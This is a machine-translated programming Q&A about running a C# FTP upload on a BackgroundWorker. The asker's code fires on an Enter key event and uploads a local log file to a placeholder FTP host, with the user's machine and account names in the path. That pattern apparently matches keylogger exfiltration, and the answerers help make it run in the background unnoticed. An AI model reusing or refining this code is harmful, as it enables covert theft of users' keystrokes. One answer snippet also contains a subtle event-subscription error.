线程FTP上传c#
我很难弄清楚如何线程我的FTP上传脚本。我正试图从C#控制台应用程序上传它。我不喜欢它在上传时冻结应用程序。我听说过使用“backgroundworker”,但我完全不知道如何设置。。我已经找了一段时间了。你能给我举个例子吗?谢谢线程FTP上传c#,c#,multithreading,upload,ftp,backgroundworker,C#,Multithreading,Upload,Ftp,Backgroundworker,我很难弄清楚如何线程我的FTP上传脚本。我正试图从C#控制台应用程序上传它。我不喜欢它在上传时冻结应用程序。我听说过使用“backgroundworker”,但我完全不知道如何设置。。我已经找了一段时间了。你能给我举个例子吗?谢谢 if ((Keys)vkCode == Keys.Enter) { //~~~ Enter Key pressed ~~~ // string ftpsrc = A
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
string ftpsrc = Application.StartupPath + @"/logs/log.txt";
FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
request2.Method = WebRequestMethods.Ftp.UploadFile;
request2.Credentials = new NetworkCredential("username", "password");
StreamReader sourceStream2 = new StreamReader(ftpsrc);
byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
sourceStream2.Close();
request2.ContentLength = fileContents2.Length;
Stream requestStream2 = request2.GetRequestStream();
requestStream2.Write(fileContents2, 0, fileContents2.Length);
requestStream2.Close();
FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
response2.Close();
//~~~ End Enter Key ~~~//
}
一种非常简单的方法是使用
BackgroundWorker
这样的工具,它可以让您访问进度事件以及控制执行。此方法允许用户界面线程与FTP上传逻辑完全分离。这意味着,无论上传花了多长时间,用户界面都会响应
现在多线程的实际上传是另一回事。如果是这样,则需要将消息分成相等的部分,并在FTP端重新组装这些部分,但这也意味着要编写自定义FTP服务器
请查看此处,了解BackgroundWorker是什么以及如何使用它的完整说明:
编辑::
好的,请回答评论中关于如何设置backgroundworker以在enter键上执行的问题。看一下上面的文档,了解如何使用backgroundworker的要点
您可能希望使用您设置的backgroundworker的RunWorkerAsync()
方法更改当前的键挂钩。BackgroundWorker的DoWork
方法应该是您当前在密钥挂钩中使用的方法
BG.DoWork += YourUploadFunction();
if ((Keys)vkCode == Keys.Enter)
{
//~~~ Enter Key pressed ~~~ //
BG.RunWorkerAsync();
}
要初始化BackgroundWorker
,请执行以下操作:
BackgroundWorker BG = new BackgroundWorker();
BG.DoWork += new DoWorkEventHandler(BG_DoWork);
dowworkeventhandler
允许创建一个新的处理程序来控制BG将执行的功能。这方面的一个例子是:
private void BG_DoWork(object sender, DoWorkEventArgs e)
{
YourUploadFunctions();
}
但是,您希望只对BackgroundWorker
进行一次初始化,这样就不会有多个实例。此外,一旦设置了DoWork事件,就不需要再次执行。
`后台工作人员在这方面做得很好,另一个选择是Task类。你可以在这里读到。页面上有一个如何实现它的示例。另外,根据您使用的.net framework的版本,您还可以查看Async并等待此处显示的结果。我听说过使用后台工作程序。。你能给我举一个使用enter键时调用backgroundworker的例子吗?例如如果((Keys)vkCode==Keys.Enter){//stuffs}@Chris\u Bogausch检查我的编辑。非常感谢!我在找一个实际的例子。我只是个想学点c的书呆子。我很感激你帮助我!如果我需要帮助,我会与你联系。我还有什么需要补充的吗?im获得“非静态字段、方法或属性“Program.class.BG”需要对象引用。如果这有帮助,我将添加完整的程序?@Chris_Bogausch您收到错误,因为您需要先初始化后台工作程序。请再次检查我的编辑。